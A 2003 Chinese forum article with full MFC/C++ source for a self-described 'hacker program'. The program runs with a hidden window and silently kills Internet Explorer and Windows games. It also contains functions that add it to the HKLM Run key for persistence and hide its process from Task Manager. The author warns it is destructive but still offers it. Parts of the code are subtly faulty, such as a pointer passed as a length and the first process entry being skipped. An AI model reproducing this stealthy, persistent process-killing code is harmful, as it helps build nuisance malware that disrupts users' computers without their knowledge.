一个黑客程序开发实例
E-Mail:f286@eyou.com 作者：f286 时间：2003-03-07
注：这个程序有一定的破坏性，请不要用于非法的目的！
小弟最近看了VC知识库的在线杂志第十二期中，有一篇《黑客攻击手段之偷梁换柱》突发灵感也想写一个黑客程序。经过了几天的搜集资料和试验终于写出了一个可以自动关闭IE和windows中自带游戏的小程序和大家分享，希望大家多提意见！
如果需要源程序请于我联系！（我的开发环境是VC＋＋.NET）
(程序界面如下图)
我在程序中采用了两种方法：
一种是采用了FindWindow(LPCTSTRlpszClassName,LPCTSTR lpszWindowName )这个函数来捕捉窗口的名称，但这种方法对于一些窗口标题变化的程序的效果就不好了。
另一种是CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID)这个函数是对现有工作进程进行一次快照，这样只来看的名称就可以很方便的找到它，但是它使用比第一种方法复杂，而且还要在头文件中加入#include <tlhelp32.h>这个库！下面我们来看一下程序的主要的函数。
程序一共有这么几个部分：
热键处理函数：OnHotKey(WPARAM wParam,LPARAM lParam)
隐藏程序自己的进程（在windows的任务管理器中）：HidePorcess(void)
创建一个线程用于完成核心内容：CreateMyThread(void)
在程序结束时用于关闭线程：CloseMyThread(void)
列出当前系统中所有进程（如果找到要找的进程关闭它）：FindMyProcess(CString m_strprocessname)
更改注册表使程序和系统一起启动运行：RegMySys(void)
具体函数内容如下：
// IECloesDlg.h : 头文件
//
#pragma once
#include "statlink.h"
// CIECloesDlg 对话框
class CIECloesDlg : public CDialog
{
// 构造
public:
CIECloesDlg(CWnd* pParent = NULL); // 标准构造函数
// 对话框数据
enum { IDD = IDD_IECLOES_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
HICON m_hIcon;
// 生成的消息映射函数
virtual BOOL OnInitDialog();
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg LRESULT OnHotKey(WPARAM wParam,LPARAM lParam);
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnBnClickedClose();
afx_msg void OnWindowPosChanging(WINDOWPOS* lpwndpos);
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnDestroy();
afx_msg void OnBnClickedHide();
// 开始运行时候隐藏对话框的变量
bool m_bHide;
// 是否关闭IE
bool m_bIEClose;
// 是否关闭window自带游戏
bool m_bPlayclose;
afx_msg void OnBnClickedCloseie();
afx_msg void OnBnClickedCloseplay();
//超链接的控件变量
CStaticLink m_myemail;
// 启动一个线程
bool CreateMyThread(void);
// 线程句柄
HANDLE m_handle;
//要找到窗口的句柄
// IE的句柄
HWND m_hie;
// 扫雷游戏的句柄
HWND m_hsaolei;
//空当接龙游戏的句柄
HWND m_hkongdangjielong;
//蜘蛛纸牌游戏的句柄
HWND m_hzhizhu;
// 关闭线程
void CloseMyThread(void);
// 列出进程
void FindMyProcess(CString m_strprocessname);
// 更改注册表使程序和系统一起启动运行
void RegMySys(void);
// 在任务管理器中隐藏程序进程（这样才像个黑客）
void HidePorcess(void);
// 程序在硬盘中的路径
CString m_strfilepath;
————————————————————————————————————————————————————————————————————————————————————————————
// IECloesDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "IECloes.h"
#include "IECloesDlg.h"
#include <tlhelp32.h>//CreateToolhelp32Snapshot这个函数需要加载的头文件
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
//线程函数
UINT ThreadFunc(LPVOID lParam)
{
CIECloesDlg *pdlg=(CIECloesDlg*)lParam;
while (1)
{
if (pdlg->m_bPlayclose)
{
pdlg->m_hkongdangjielong=FindWindow(NULL,"空当接龙");
pdlg->m_hsaolei=FindWindow(NULL,"扫雷");
pdlg->m_hzhizhu=FindWindow(NULL,"蜘蛛");
if (pdlg->m_hkongdangjielong)
{
Sleep(1000);
SendMessage(pdlg->m_hkongdangjielong,WM_DESTROY,0,0);
}
if (pdlg->m_hsaolei)
{
Sleep(1000);
SendMessage(pdlg->m_hsaolei,WM_DESTROY,0,0);
}
if (pdlg->m_hzhizhu)
{
Sleep(3000);
SendMessage(pdlg->m_hzhizhu,WM_DESTROY,0,0);
}
}
if (pdlg->m_bIEClose)
{
pdlg->FindMyProcess("IEXPLORE.EXE");
}
}
return 0;
}
// CIECloesDlg 对话框
CIECloesDlg::CIECloesDlg(CWnd* pParent /*=NULL*/)
: CDialog(CIECloesDlg::IDD, pParent)
, m_bHide(false)
, m_bIEClose(false)
, m_bPlayclose(false)
, m_handle(false)
, m_hie(NULL)
, m_hsaolei(NULL)
,m_hzhizhu(NULL)
,m_hkongdangjielong(NULL)
, m_strfilepath(_T(""))
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CIECloesDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CIECloesDlg, CDialog)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
//}}AFX_MSG_MAP
ON_BN_CLICKED(IDC_CLOSE, OnBnClickedClose)
ON_WM_WINDOWPOSCHANGING()
ON_MESSAGE(WM_HOTKEY,OnHotKey)
ON_WM_CREATE()
ON_WM_DESTROY()
ON_BN_CLICKED(IDC_HIDE, OnBnClickedHide)
ON_BN_CLICKED(IDC_CLOSEIE, OnBnClickedCloseie)
ON_BN_CLICKED(IDC_CLOSEPLAY, OnBnClickedCloseplay)
END_MESSAGE_MAP()
// CIECloesDlg 消息处理程序
BOOL CIECloesDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// 设置此对话框的图标。当应用程序主窗口不是对话框时，框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标
// TODO：在此添加额外的初始化代码
CheckDlgButton(IDC_CLOSEPLAY, BST_CHECKED);
m_bPlayclose=true;
CreateMyThread();
//初始化超级链接
m_myemail.m_link="mailto:f286@eyou.com";
m_myemail.SubclassDlgItem(IDC_MYEMAIL,this);
//在任务管理器中隐藏进程
// HidePorcess();
//修改注册表，使之自动启动
//RegMySys();
return TRUE; // 除非设置了控件的焦点，否则返回 TRUE
}
// 如果向对话框添加最小化按钮，则需要下面的代码
// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序，
// 这将由框架自动完成。
void CIECloesDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // 用于绘制的设备上下文
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
// 使图标在工作矩形中居中
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// 绘制图标
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
//当用户拖动最小化窗口时系统调用此函数取得光标显示。
HCURSOR CIECloesDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
void CIECloesDlg::OnBnClickedClose()
{
// TODO: 在此添加控件通知处理程序代码
SendMessage(WM_CLOSE,0,0);
}
void CIECloesDlg::OnWindowPosChanging(WINDOWPOS* lpwndpos)
{
CDialog::OnWindowPosChanging(lpwndpos);
// TODO: 在此添加消息处理程序代码
if (!m_bHide)
{
lpwndpos->flags&=~SWP_SHOWWINDOW;
}
}
LRESULT CIECloesDlg::OnHotKey(WPARAM wParam,LPARAM lParam)
{
if (wParam==1111||wParam==1112)
{
m_bHide=true;
ShowWindow(SW_SHOW);
}
SetWindowPos(&this->wndTopMost,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
return 0;
}
int CIECloesDlg::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CDialog::OnCreate(lpCreateStruct) == -1)
return -1;
// TODO: 在此添加您专用的创建代码
//注册热键为“Ctrl＋Shift＋j（J）”
RegisterHotKey(this->m_hWnd,IDC_HOTKEYA,MOD_CONTROL|MOD_SHIFT,'J');
RegisterHotKey(this->m_hWnd,IDC_HOTKEYB,MOD_SHIFT|MOD_CONTROL,'j');
return 0;
}
void CIECloesDlg::OnDestroy()
{
CDialog::OnDestroy();
// TODO: 在此添加消息处理程序代码
//撤消热键的注册
UnregisterHotKey(this->m_hWnd,IDC_HOTKEYA);
UnregisterHotKey(this->m_hWnd,IDC_HOTKEYB);
//如果关闭时候线程函数还在工作就结束它
if (m_handle)
{
TerminateThread(m_handle,0);
}
}
void CIECloesDlg::OnBnClickedHide()
{
// TODO: 在此添加控件通知处理程序代码
ShowWindow(SW_HIDE);
}
void CIECloesDlg::OnBnClickedCloseie()
{
// TODO: 在此添加控件通知处理程序代码
m_bIEClose=!m_bIEClose;
CreateMyThread();
CloseMyThread();
}
void CIECloesDlg::OnBnClickedCloseplay()
{
// TODO: 在此添加控件通知处理程序代码
m_bPlayclose=!m_bPlayclose;
CreateMyThread();
CloseMyThread();
}
// 启动一个线程
bool CIECloesDlg::CreateMyThread(void)
{
if (m_handle)
{
return true;
}
else if(m_bIEClose||m_bPlayclose)
{
m_handle=AfxBeginThread((AFX_THREADPROC)ThreadFunc,this);
return true;
}
return false;
}
// 关闭线程（如果在选中的情况下，在取消CHeck那就关闭线程）
void CIECloesDlg::CloseMyThread(void)
{
if((!m_bIEClose||!m_bPlayclose)&&m_handle)
{
TerminateThread(m_handle,0);
}
}
// 列出进程（如果找到要找的进程关闭它）
void CIECloesDlg::FindMyProcess(CString m_strprocessname)
{
//要查找进程所用到的句柄
HANDLE m_hfindhandle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32* info=new PROCESSENTRY32;
info->dwSize=sizeof(PROCESSENTRY32);
if(Process32First(m_hfindhandle,info))
{
CString m_strname;//进程的名称
while(Process32Next(m_hfindhandle,info)!=FALSE)
{
m_strname=info->szExeFile;
if (m_strname==m_strprocessname)
{
HANDLE h=OpenProcess(PROCESS_ALL_ACCESS,TRUE,info->th32ProcessID);
if(h!=NULL)
{
Sleep(3000);
TerminateProcess(h,0);
}
}
}
CloseHandle(m_hfindhandle);//关闭进程否J则会出现错误
if (info)
{
delete info;
}
}
}
// 更改注册表使程序和系统一起启动运行
void CIECloesDlg::RegMySys(void)
{
HKEY hregkey=NULL;
CString m_strreg;
GetFullPathName("IECloes.exe",(DWORD)m_strfilepath.GetBuffer(MAX_PATH+1),m_strfilepath.GetBuffer(0),NULL);
m_strreg=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
if (RegOpenKey(HKEY_LOCAL_MACHINE,m_strreg,&hregkey)!=ERROR_SUCCESS)
return;
else
{
m_strfilepath.ReleaseBuffer();
if(::RegSetValueEx( hregkey,"IECloes",0,REG_SZ,(CONST BYTE *)m_strfilepath.GetBuffer(0),m_strfilepath.GetLength() )!=ERROR_SUCCESS)
return;
}
}
// 在任务管理器中隐藏程序进程
//注：这个函数只有在win98中才可以其作用，win2000\xp都不行
void CIECloesDlg::HidePorcess(void)
{
HINSTANCE hInst = LoadLibrary("KERNEL32.DLL");
if(hInst)
{
typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD);
MYFUNC RegisterServiceProcessFun = NULL;
RegisterServiceProcessFun = (MYFUNC)GetProcAddress(hInst, "RegisterServiceProcess");
if(RegisterServiceProcessFun)
{
RegisterServiceProcessFun(GetCurrentProcessId(),1);
}
FreeLibrary(hInst);
}
}
